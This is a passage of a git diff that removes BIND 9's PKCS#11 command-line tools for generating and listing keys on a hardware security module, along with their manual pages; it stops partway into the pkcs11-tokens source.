diff --git a/bin/pkcs11/pkcs11-keygen.c b/bin/pkcs11/pkcs11-keygen.c
deleted file mode 100644
index ba004e1594..0000000000
--- a/bin/pkcs11/pkcs11-keygen.c
+++ /dev/null
@@ -1,476 +0,0 @@
-/*
- * Copyright (C) 2009, 2012, 2015 Internet Systems Consortium, Inc. ("ISC")
- *
- * Permission to use, copy, modify, and/or distribute this software for any
- * purpose with or without fee is hereby granted, provided that the above
- * copyright notice and this permission notice appear in all copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ISC AND NETWORK ASSOCIATES DISCLAIMS
- * ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED
- * WARRANTIES OF MERCHANTABILITY AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE
- * FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
- * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
- * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR
- * IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
- */
-
-/*
- * Portions copyright (c) 2008 Nominet UK.  All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
- * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
- * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
- * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
- * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
- * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
- * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
- * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
- * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- */
-
-/* pkcs11-keygen - PKCS#11 key generator
- *
- * Create a key in the keystore of an HSM
- *
- * The calculation of key tag is left to the script
- * that converts the key into a DNSKEY RR and inserts
- * it into a zone file.
- *
- * usage:
- * pkcs11-keygen [-P] [-m module] [-s slot] [-e] [-b keysize]
- *               [-i id] [-p pin] -l label
- *
- */
-
-/*! \file */
-
-#include <errno.h>
-#include <fcntl.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/types.h>
-
-#include <isc/commandline.h>
-#include <isc/print.h>
-#include <isc/result.h>
-#include <isc/types.h>
-#include <isc/util.h>
-
-#include <pk11/constants.h>
-#include <pk11/pk11.h>
-#include <pk11/result.h>
-
-/* Define static key template values */
-static CK_BBOOL truevalue = TRUE;
-static CK_BBOOL falsevalue = FALSE;
-
-/* Static arrays of data used for key template initialization */
-static CK_BYTE pk11_ecc_prime256v1[] = PK11_ECC_PRIME256V1;
-static CK_BYTE pk11_ecc_secp384r1[] = PK11_ECC_SECP384R1;
-static CK_BYTE pk11_ecx_ed25519[] = PK11_ECX_ED25519;
-static CK_BYTE pk11_ecx_ed448[] = PK11_ECX_ED448;
-
-/* Key class: RSA, ECC, ECX, or unknown */
-typedef enum { key_unknown, key_rsa, key_ecc, key_ecx } key_class_t;
-
-/*
- * Private key template
- */
-#define PRIVATE_LABEL	    0
-#define PRIVATE_SIGN	    1
-#define PRIVATE_TOKEN	    2
-#define PRIVATE_PRIVATE	    3
-#define PRIVATE_SENSITIVE   4
-#define PRIVATE_EXTRACTABLE 5
-#define PRIVATE_ID	    6
-#define PRIVATE_ATTRS	    7
-static CK_ATTRIBUTE private_template[] = {
-	{ CKA_LABEL, NULL_PTR, 0 },
-	{ CKA_SIGN, &truevalue, sizeof(truevalue) },
-	{ CKA_TOKEN, &truevalue, sizeof(truevalue) },
-	{ CKA_PRIVATE, &truevalue, sizeof(truevalue) },
-	{ CKA_SENSITIVE, &truevalue, sizeof(truevalue) },
-	{ CKA_EXTRACTABLE, &falsevalue, sizeof(falsevalue) },
-	{ CKA_ID, NULL_PTR, 0 }
-};
-
-/*
- * Public key template for RSA keys
- */
-#define RSA_LABEL	    0
-#define RSA_VERIFY	    1
-#define RSA_TOKEN	    2
-#define RSA_PRIVATE	    3
-#define RSA_MODULUS_BITS    4
-#define RSA_PUBLIC_EXPONENT 5
-#define RSA_ID		    6
-#define RSA_ATTRS	    7
-static CK_ATTRIBUTE rsa_template[] = {
-	{ CKA_LABEL, NULL_PTR, 0 },
-	{ CKA_VERIFY, &truevalue, sizeof(truevalue) },
-	{ CKA_TOKEN, &truevalue, sizeof(truevalue) },
-	{ CKA_PRIVATE, &falsevalue, sizeof(falsevalue) },
-	{ CKA_MODULUS_BITS, NULL_PTR, 0 },
-	{ CKA_PUBLIC_EXPONENT, NULL_PTR, 0 },
-	{ CKA_ID, NULL_PTR, 0 }
-};
-
-/*
- * Public key template for ECC/ECX keys
- */
-#define ECC_LABEL   0
-#define ECC_VERIFY  1
-#define ECC_TOKEN   2
-#define ECC_PRIVATE 3
-#define ECC_PARAMS  4
-#define ECC_ID	    5
-#define ECC_ATTRS   6
-static CK_ATTRIBUTE ecc_template[] = {
-	{ CKA_LABEL, NULL_PTR, 0 },
-	{ CKA_VERIFY, &truevalue, sizeof(truevalue) },
-	{ CKA_TOKEN, &truevalue, sizeof(truevalue) },
-	{ CKA_PRIVATE, &falsevalue, sizeof(falsevalue) },
-	{ CKA_EC_PARAMS, NULL_PTR, 0 },
-	{ CKA_ID, NULL_PTR, 0 }
-};
-
-/*
- * Convert from text to key class.  Accepts the names of DNSSEC
- * signing algorithms, so e.g., ECDSAP256SHA256 maps to ECC and
- * NSEC3RSASHA1 maps to RSA.
- */
-static key_class_t
-keyclass_fromtext(const char *name) {
-	if (name == NULL) {
-		return (key_unknown);
-	}
-
-	if (strncasecmp(name, "rsa", 3) == 0 ||
-	    strncasecmp(name, "nsec3rsa", 8) == 0) {
-		return (key_rsa);
-	} else if (strncasecmp(name, "ecc", 3) == 0 ||
-		   strncasecmp(name, "ecdsa", 5) == 0)
-	{
-		return (key_ecc);
-	} else if (strncasecmp(name, "ecx", 3) == 0 ||
-		   strncasecmp(name, "ed", 2) == 0) {
-		return (key_ecx);
-	} else {
-		return (key_unknown);
-	}
-}
-
-static void
-usage(void) {
-	fprintf(stderr, "Usage:\n"
-			"\tpkcs11-keygen -a algorithm -b keysize -l label\n"
-			"\t              [-P] [-m module] "
-			"[-s slot] [-e] [-S] [-i id] [-p PIN]\n");
-	exit(2);
-}
-
-int
-main(int argc, char *argv[]) {
-	isc_result_t result;
-	CK_RV rv;
-	CK_SLOT_ID slot = 0;
-	CK_MECHANISM mech;
-	CK_SESSION_HANDLE hSession;
-	char *lib_name = NULL;
-	char *pin = NULL;
-	CK_ULONG bits = 0;
-	CK_CHAR *label = NULL;
-	CK_OBJECT_HANDLE privatekey, publickey;
-	CK_BYTE exponent[5];
-	CK_ULONG expsize = 0;
-	pk11_context_t pctx;
-	int error = 0;
-	int c, errflg = 0;
-	int hide = 1, quiet = 0;
-	int idlen = 0, id_offset = 0;
-	unsigned long id = 0;
-	CK_BYTE idbuf[4];
-	CK_ULONG ulObjectCount;
-	CK_ATTRIBUTE search_template[] = { { CKA_LABEL, NULL_PTR, 0 } };
-	CK_ATTRIBUTE *public_template = NULL;
-	CK_ULONG public_attrcnt = 0, private_attrcnt = PRIVATE_ATTRS;
-	key_class_t keyclass = key_rsa;
-	pk11_optype_t op_type = OP_ANY;
-
-#define OPTIONS ":a:b:ei:l:m:Pp:qSs:"
-	while ((c = isc_commandline_parse(argc, argv, OPTIONS)) != -1) {
-		switch (c) {
-		case 'a':
-			keyclass = keyclass_fromtext(isc_commandline_argument);
-			break;
-		case 'P':
-			hide = 0;
-			break;
-		case 'm':
-			lib_name = isc_commandline_argument;
-			break;
-		case 's':
-			slot = atoi(isc_commandline_argument);
-			break;
-		case 'e':
-			expsize = 5;
-			break;
-		case 'b':
-			bits = atoi(isc_commandline_argument);
-			break;
-		case 'l':
-			/* -l option is retained for backward compatibility * */
-			label = (CK_CHAR *)isc_commandline_argument;
-			break;
-		case 'i':
-			id = strtoul(isc_commandline_argument, NULL, 0);
-			idlen = 4;
-			break;
-		case 'p':
-			pin = isc_commandline_argument;
-			break;
-		case 'q':
-			quiet = 1;
-			break;
-		case ':':
-			fprintf(stderr, "Option -%c requires an operand\n",
-				isc_commandline_option);
-			errflg++;
-			break;
-		case '?':
-		default:
-			fprintf(stderr, "Unrecognised option: -%c\n",
-				isc_commandline_option);
-			errflg++;
-		}
-	}
-
-	if (label == NULL && isc_commandline_index < argc) {
-		label = (CK_CHAR *)argv[isc_commandline_index];
-	}
-
-	if (errflg || (label == NULL)) {
-		usage();
-	}
-
-	if (expsize != 0 && keyclass != key_rsa) {
-		fprintf(stderr, "The -e option is only compatible "
-				"with RSA key generation\n");
-		exit(2);
-	}
-
-	switch (keyclass) {
-	case key_rsa:
-		op_type = OP_RSA;
-		if (expsize == 0) {
-			expsize = 3;
-		}
-		if (bits == 0) {
-			usage();
-		}
-
-		mech.mechanism = CKM_RSA_PKCS_KEY_PAIR_GEN;
-		mech.pParameter = NULL;
-		mech.ulParameterLen = 0;
-
-		public_template = rsa_template;
-		public_attrcnt = RSA_ATTRS;
-		id_offset = RSA_ID;
-
-		/* Set public exponent to F4 or F5 */
-		exponent[0] = 0x01;
-		exponent[1] = 0x00;
-		if (expsize == 3) {
-			exponent[2] = 0x01;
-		} else {
-			exponent[2] = 0x00;
-			exponent[3] = 0x00;
-			exponent[4] = 0x01;
-		}
-
-		public_template[RSA_MODULUS_BITS].pValue = &bits;
-		public_template[RSA_MODULUS_BITS].ulValueLen = sizeof(bits);
-		public_template[RSA_PUBLIC_EXPONENT].pValue = &exponent;
-		public_template[RSA_PUBLIC_EXPONENT].ulValueLen = expsize;
-		break;
-	case key_ecc:
-		op_type = OP_ECDSA;
-		if (bits == 0) {
-			bits = 256;
-		} else if (bits != 256 && bits != 384) {
-			fprintf(stderr, "ECC keys only support bit sizes of "
-					"256 and 384\n");
-			exit(2);
-		}
-
-		mech.mechanism = CKM_EC_KEY_PAIR_GEN;
-		mech.pParameter = NULL;
-		mech.ulParameterLen = 0;
-
-		public_template = ecc_template;
-		public_attrcnt = ECC_ATTRS;
-		id_offset = ECC_ID;
-
-		if (bits == 256) {
-			public_template[4].pValue = pk11_ecc_prime256v1;
-			public_template[4].ulValueLen =
-				sizeof(pk11_ecc_prime256v1);
-		} else {
-			public_template[4].pValue = pk11_ecc_secp384r1;
-			public_template[4].ulValueLen =
-				sizeof(pk11_ecc_secp384r1);
-		}
-
-		break;
-	case key_ecx:
-		op_type = OP_EDDSA;
-		if (bits == 0) {
-			bits = 256;
-		} else if (bits != 256 && bits != 456) {
-			fprintf(stderr, "ECX keys only support bit sizes of "
-					"256 and 456\n");
-			exit(2);
-		}
-
-		mech.mechanism = CKM_EC_EDWARDS_KEY_PAIR_GEN;
-		mech.pParameter = NULL;
-		mech.ulParameterLen = 0;
-
-		public_template = ecc_template;
-		public_attrcnt = ECC_ATTRS;
-		id_offset = ECC_ID;
-
-		if (bits == 256) {
-			public_template[4].pValue = pk11_ecx_ed25519;
-			public_template[4].ulValueLen =
-				sizeof(pk11_ecx_ed25519);
-		} else {
-			public_template[4].pValue = pk11_ecx_ed448;
-			public_template[4].ulValueLen = sizeof(pk11_ecx_ed448);
-		}
-
-		break;
-	case key_unknown:
-		usage();
-	}
-
-	search_template[0].pValue = label;
-	search_template[0].ulValueLen = strlen((char *)label);
-	public_template[0].pValue = label;
-	public_template[0].ulValueLen = strlen((char *)label);
-	private_template[0].pValue = label;
-	private_template[0].ulValueLen = strlen((char *)label);
-
-	if (idlen == 0) {
-		public_attrcnt--;
-		private_attrcnt--;
-	} else {
-		if (id <= 0xffff) {
-			idlen = 2;
-			idbuf[0] = (CK_BYTE)(id >> 8);
-			idbuf[1] = (CK_BYTE)id;
-		} else {
-			idbuf[0] = (CK_BYTE)(id >> 24);
-			idbuf[1] = (CK_BYTE)(id >> 16);
-			idbuf[2] = (CK_BYTE)(id >> 8);
-			idbuf[3] = (CK_BYTE)id;
-		}
-
-		public_template[id_offset].pValue = idbuf;
-		public_template[id_offset].ulValueLen = idlen;
-		private_template[PRIVATE_ID].pValue = idbuf;
-		private_template[PRIVATE_ID].ulValueLen = idlen;
-	}
-
-	pk11_result_register();
-
-	/* Initialize the CRYPTOKI library */
-	if (lib_name != NULL) {
-		pk11_set_lib_name(lib_name);
-	}
-
-	if (pin == NULL) {
-		pin = getpass("Enter Pin: ");
-	}
-
-	result = pk11_get_session(&pctx, op_type, false, true, true,
-				  (const char *)pin, slot);
-	if (result == PK11_R_NORANDOMSERVICE ||
-	    result == PK11_R_NODIGESTSERVICE || result == PK11_R_NOAESSERVICE)
-	{
-		fprintf(stderr, "Warning: %s\n", isc_result_totext(result));
-		fprintf(stderr, "This HSM will not work with BIND 9 "
-				"using native PKCS#11.\n");
-	} else if (result != ISC_R_SUCCESS) {
-		fprintf(stderr,
-			"Unrecoverable error initializing "
-			"PKCS#11: %s\n",
-			isc_result_totext(result));
-		exit(1);
-	}
-
-	memset(pin, 0, strlen(pin));
-
-	hSession = pctx.session;
-
-	/* check if a key with the same id already exists */
-	rv = pkcs_C_FindObjectsInit(hSession, search_template, 1);
-	if (rv != CKR_OK) {
-		fprintf(stderr, "C_FindObjectsInit: Error = 0x%.8lX\n", rv);
-		error = 1;
-		goto exit_session;
-	}
-	rv = pkcs_C_FindObjects(hSession, &privatekey, 1, &ulObjectCount);
-	if (rv != CKR_OK) {
-		fprintf(stderr, "C_FindObjects: Error = 0x%.8lX\n", rv);
-		error = 1;
-		goto exit_search;
-	}
-	if (ulObjectCount != 0) {
-		fprintf(stderr, "Key already exists.\n");
-		error = 1;
-		goto exit_search;
-	}
-
-	/* Set attributes if the key is not to be hidden */
-	if (!hide) {
-		private_template[4].pValue = &falsevalue;
-		private_template[5].pValue = &truevalue;
-	}
-
-	/* Generate Key pair for signing/verifying */
-	rv = pkcs_C_GenerateKeyPair(hSession, &mech, public_template,
-				    public_attrcnt, private_template,
-				    private_attrcnt, &publickey, &privatekey);
-
-	if (rv != CKR_OK) {
-		fprintf(stderr, "C_GenerateKeyPair: Error = 0x%.8lX\n", rv);
-		error = 1;
-	} else if (!quiet) {
-		printf("Key pair generation complete.\n");
-	}
-
-exit_search:
-	rv = pkcs_C_FindObjectsFinal(hSession);
-	if (rv != CKR_OK) {
-		fprintf(stderr, "C_FindObjectsFinal: Error = 0x%.8lX\n", rv);
-		error = 1;
-	}
-
-exit_session:
-	pk11_return_session(&pctx);
-	(void)pk11_finalize();
-
-	exit(error);
-}
diff --git a/bin/pkcs11/pkcs11-keygen.rst b/bin/pkcs11/pkcs11-keygen.rst
deleted file mode 100644
index 4eb1523f61..0000000000
--- a/bin/pkcs11/pkcs11-keygen.rst
+++ /dev/null
@@ -1,90 +0,0 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-..
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-
-.. highlight: console
-
-.. _man_pkcs11-keygen:
-
-pkcs11-keygen - generate keys on a PKCS#11 device
--------------------------------------------------
-
-Synopsis
-~~~~~~~~
-
-:program:`pkcs11-keygen` [**-a** algorithm] [**-b** keysize] [**-e**] [**-i** id] [**-m** module] [**-P**] [**-p** PIN] [**-q**] [**-S**] [**-s** slot] label
-
-Description
-~~~~~~~~~~~
-
-``pkcs11-keygen`` causes a PKCS#11 device to generate a new key pair
-with the given ``label`` (which must be unique) and with ``keysize``
-bits of prime.
-
-Options
-~~~~~~~
-
-``-a algorithm``
-   This option specifies the key algorithm class: supported classes are RSA, DSA, DH,
-   ECC, and ECX. In addition to these strings, the ``algorithm`` can be
-   specified as a DNSSEC signing algorithm to be used with this
-   key; for example, NSEC3RSASHA1 maps to RSA, ECDSAP256SHA256 maps to
-   ECC, and ED25519 to ECX. The default class is ``RSA``.
-
-``-b keysize``
-   This option creates the key pair with ``keysize`` bits of prime. For ECC keys, the
-   only valid values are 256 and 384, and the default is 256. For ECX
-   keys, the only valid values are 256 and 456, and the default is 256.
-
-``-e``
-   For RSA keys only, this option specifies use of a large exponent.
-
-``-i id``
-   This option creates key objects with ``id``. The ID is either an unsigned short 2-byte
-   or an unsigned long 4-byte number.
-
-``-m module``
-   This option specifies the PKCS#11 provider module. This must be the full path to a
-   shared library object implementing the PKCS#11 API for the device.
-
-``-P``
-   This option sets the new private key to be non-sensitive and extractable, and
-   allows the private key data to be read from the PKCS#11 device. The
-   default is for private keys to be sensitive and non-extractable.
-
-``-p PIN``
-   This option specifies the ``PIN`` for the device. If no ``PIN`` is provided on the command
-   line, ``pkcs11-keygen`` prompts for it.
-
-``-q``
-   This option sets quiet mode, which suppresses unnecessary output.
-
-``-S``
-   For Diffie-Hellman (DH) keys only, this option specifies use of a special prime of 768-, 1024-,
-   or 1536-bit size and base (AKA generator) 2. If not specified, bit
-   size defaults to 1024.
-
-``-s slot``
-   This option opens the session with the given PKCS#11 slot. The default is slot 0.
-
-See Also
-~~~~~~~~
-
-:manpage:`pkcs11-destroy(8)`, :manpage:`pkcs11-list(8)`, :manpage:`pkcs11-tokens(8)`, :manpage:`dnssec-keyfromlabel(8)`
diff --git a/bin/pkcs11/pkcs11-list.c b/bin/pkcs11/pkcs11-list.c
deleted file mode 100644
index c103a44abc..0000000000
--- a/bin/pkcs11/pkcs11-list.c
+++ /dev/null
@@ -1,274 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-/*
- * Portions copyright (c) 2008 Nominet UK.  All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
- * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
- * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
- * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
- * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
- * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
- * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
- * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
- * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- */
-
-/* pkcs11-list [-P] [-m module] [-s slot] [-i $id | -l $label] [-p $pin] */
-
-/*! \file */
-
-#include <errno.h>
-#include <fcntl.h>
-#include <stdbool.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/types.h>
-
-#include <isc/commandline.h>
-#include <isc/print.h>
-#include <isc/result.h>
-#include <isc/types.h>
-
-#include <pk11/pk11.h>
-#include <pk11/result.h>
-
-int
-main(int argc, char *argv[]) {
-	isc_result_t result;
-	CK_RV rv;
-	CK_SLOT_ID slot = 0;
-	CK_SESSION_HANDLE hSession;
-	CK_BYTE attr_id[2];
-	CK_OBJECT_HANDLE akey[50];
-	pk11_context_t pctx;
-	char *lib_name = NULL;
-	char *label = NULL;
-	char *pin = NULL;
-	bool error = false, logon = true, all = false;
-	unsigned int i = 0, id = 0;
-	int c, errflg = 0;
-	CK_ULONG ulObjectCount;
-	CK_ATTRIBUTE search_template[] = { { CKA_ID, &attr_id,
-					     sizeof(attr_id) } };
-
-	while ((c = isc_commandline_parse(argc, argv, ":m:s:i:l:p:P")) != -1) {
-		switch (c) {
-		case 'P':
-			logon = false;
-			break;
-		case 'm':
-			lib_name = isc_commandline_argument;
-			break;
-		case 's':
-			slot = atoi(isc_commandline_argument);
-			break;
-		case 'i':
-			id = atoi(isc_commandline_argument);
-			id &= 0xffff;
-			break;
-		case 'l':
-			label = isc_commandline_argument;
-			break;
-		case 'p':
-			pin = isc_commandline_argument;
-			break;
-		case ':':
-			fprintf(stderr, "Option -%c requires an operand\n",
-				isc_commandline_option);
-			errflg++;
-			break;
-		case '?':
-		default:
-			fprintf(stderr, "Unrecognised option: -%c\n",
-				isc_commandline_option);
-			errflg++;
-		}
-	}
-
-	if (errflg) {
-		fprintf(stderr, "Usage:\n");
-		fprintf(stderr, "\tpkcs11-list [-P] [-m module] [-s slot] "
-				"[-i id | -l label] [-p pin]\n");
-		exit(1);
-	}
-
-	if (!id && (label == NULL)) {
-		all = true;
-	}
-
-	if (slot) {
-		printf("slot %lu\n", slot);
-	}
-
-	if (id) {
-		printf("id %u\n", id);
-		attr_id[0] = (id >> 8) & 0xff;
-		attr_id[1] = id & 0xff;
-	} else if (label != NULL) {
-		printf("label %s\n", label);
-		search_template[0].type = CKA_LABEL;
-		search_template[0].pValue = label;
-		search_template[0].ulValueLen = strlen(label);
-	}
-
-	pk11_result_register();
-
-	/* Initialize the CRYPTOKI library */
-	if (lib_name != NULL) {
-		pk11_set_lib_name(lib_name);
-	}
-
-	if (logon && pin == NULL) {
-		pin = getpass("Enter Pin: ");
-	}
-
-	result = pk11_get_session(&pctx, OP_ANY, false, false, logon, pin,
-				  slot);
-	if (result == PK11_R_NORANDOMSERVICE ||
-	    result == PK11_R_NODIGESTSERVICE || result == PK11_R_NOAESSERVICE)
-	{
-		fprintf(stderr, "Warning: %s\n", isc_result_totext(result));
-		fprintf(stderr, "This HSM will not work with BIND 9 "
-				"using native PKCS#11.\n");
-	} else if (result != ISC_R_SUCCESS) {
-		fprintf(stderr,
-			"Unrecoverable error initializing "
-			"PKCS#11: %s\n",
-			isc_result_totext(result));
-		fprintf(stderr,
-			"Unrecoverable error initializing "
-			"PKCS#11: %s\n",
-			isc_result_totext(result));
-		exit(1);
-	}
-
-	if (pin != NULL) {
-		memset(pin, 0, strlen(pin));
-	}
-
-	hSession = pctx.session;
-
-	rv = pkcs_C_FindObjectsInit(hSession, search_template, all ? 0 : 1);
-	if (rv != CKR_OK) {
-		fprintf(stderr, "C_FindObjectsInit: Error = 0x%.8lX\n", rv);
-		error = 1;
-		goto exit_session;
-	}
-
-	ulObjectCount = 1;
-	while (ulObjectCount) {
-		rv = pkcs_C_FindObjects(hSession, akey, 50, &ulObjectCount);
-		if (rv != CKR_OK) {
-			fprintf(stderr, "C_FindObjects: Error = 0x%.8lX\n", rv);
-			error = 1;
-			goto exit_search;
-		}
-		for (i = 0; i < ulObjectCount; i++) {
-			unsigned int j, len;
-
-			CK_OBJECT_CLASS oclass = 0;
-			CK_BYTE labelbuf[64 + 1];
-			CK_BYTE idbuf[64];
-			CK_BBOOL extract = TRUE;
-			CK_BBOOL never = FALSE;
-			CK_ATTRIBUTE template[] = {
-				{ CKA_CLASS, &oclass, sizeof(oclass) },
-				{ CKA_LABEL, labelbuf, sizeof(labelbuf) - 1 },
-				{ CKA_ID, idbuf, sizeof(idbuf) }
-			};
-			CK_ATTRIBUTE priv_template[] = {
-				{ CKA_EXTRACTABLE, &extract, sizeof(extract) },
-				{ CKA_NEVER_EXTRACTABLE, &never, sizeof(never) }
-			};
-
-			memset(labelbuf, 0, sizeof(labelbuf));
-			memset(idbuf, 0, sizeof(idbuf));
-
-			rv = pkcs_C_GetAttributeValue(hSession, akey[i],
-						      template, 3);
-			if (rv != CKR_OK) {
-				fprintf(stderr,
-					"C_GetAttributeValue[%u]: "
-					"rv = 0x%.8lX\n",
-					i, rv);
-				if (rv == CKR_BUFFER_TOO_SMALL) {
-					fprintf(stderr,
-						"%u too small: %lu %lu %lu\n",
-						i, template[0].ulValueLen,
-						template[1].ulValueLen,
-						template[2].ulValueLen);
-				}
-				error = 1;
-				continue;
-			}
-
-			len = template[2].ulValueLen;
-			printf("object[%u]: handle %lu class %lu "
-			       "label[%lu] '%s' id[%lu] ",
-			       i, akey[i], oclass, template[1].ulValueLen,
-			       labelbuf, template[2].ulValueLen);
-			if (len == 2) {
-				id = (idbuf[0] << 8) & 0xff00;
-				id |= idbuf[1] & 0xff;
-				printf("%u", id);
-			} else {
-				if (len > 8) {
-					len = 8;
-				}
-				if (len > 0) {
-					printf("0x");
-				}
-				for (j = 0; j < len; j++)
-					printf("%02x", idbuf[j]);
-				if (template[2].ulValueLen > len) {
-					printf("...");
-				}
-			}
-			if ((oclass == CKO_PRIVATE_KEY ||
-			     oclass == CKO_SECRET_KEY) &&
-			    pkcs_C_GetAttributeValue(hSession, akey[i],
-						     priv_template,
-						     2) == CKR_OK)
-			{
-				printf(" E:%s",
-				       extract ? "true"
-					       : (never ? "never" : "false"));
-			}
-			printf("\n");
-		}
-	}
-
-exit_search:
-	rv = pkcs_C_FindObjectsFinal(hSession);
-	if (rv != CKR_OK) {
-		fprintf(stderr, "C_FindObjectsFinal: Error = 0x%.8lX\n", rv);
-		error = 1;
-	}
-
-exit_session:
-	pk11_return_session(&pctx);
-	(void)pk11_finalize();
-
-	exit(error);
-}
diff --git a/bin/pkcs11/pkcs11-list.rst b/bin/pkcs11/pkcs11-list.rst
deleted file mode 100644
index e010d7ecfd..0000000000
--- a/bin/pkcs11/pkcs11-list.rst
+++ /dev/null
@@ -1,66 +0,0 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-..
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-
-.. highlight: console
-
-.. _man_pkcs11-list:
-
-pkcs11-list - list PKCS#11 objects
-----------------------------------
-
-:program:`pkcs11-list` [**-P**] [**-m** module] [**-s** slot] [**-i** ID **] [-l** label] [**-p** PIN]
-
-Description
-~~~~~~~~~~~
-
-``pkcs11-list`` lists the PKCS#11 objects with ``ID`` or ``label`` or, by
-default, all objects. The object class, label, and ID are displayed for
-all keys. For private or secret keys, the extractability attribute is
-also displayed, as either ``true``, ``false``, or ``never``.
-
-Options
-~~~~~~~
-
-``-P``
-   This option lists only the public objects. (Note that on some PKCS#11 devices, all
-   objects are private.)
-
-``-m module``
-   This option specifies the PKCS#11 provider module. This must be the full path to a
-   shared library object implementing the PKCS#11 API for the device.
-
-``-s slot``
-   This option opens the session with the given PKCS#11 slot. The default is slot 0.
-
-``-i ID``
-   This option lists only key objects with the given object ID.
-
-``-l label``
-   This option lists only key objects with the given label.
-
-``-p PIN``
-   This option specifies the ``PIN`` for the device. If no ``PIN`` is provided on the command
-   line, ``pkcs11-list`` prompts for it.
-
-See Also
-~~~~~~~~
-
-:manpage:`pkcs11-destroy(8)`, :manpage:`pkcs11-keygen(8)`, :manpage:`pkcs11-tokens(8)`
diff --git a/bin/pkcs11/pkcs11-tokens.c b/bin/pkcs11/pkcs11-tokens.c
deleted file mode 100644
index 0db601d31a..0000000000
--- a/bin/pkcs11/pkcs11-tokens.c
+++ /dev/null
@@ -1,101 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-/* pkcs11-tokens [-m module] */
-
-/*! \file */
-
-#include <errno.h>
-#include <fcntl.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/types.h>
-
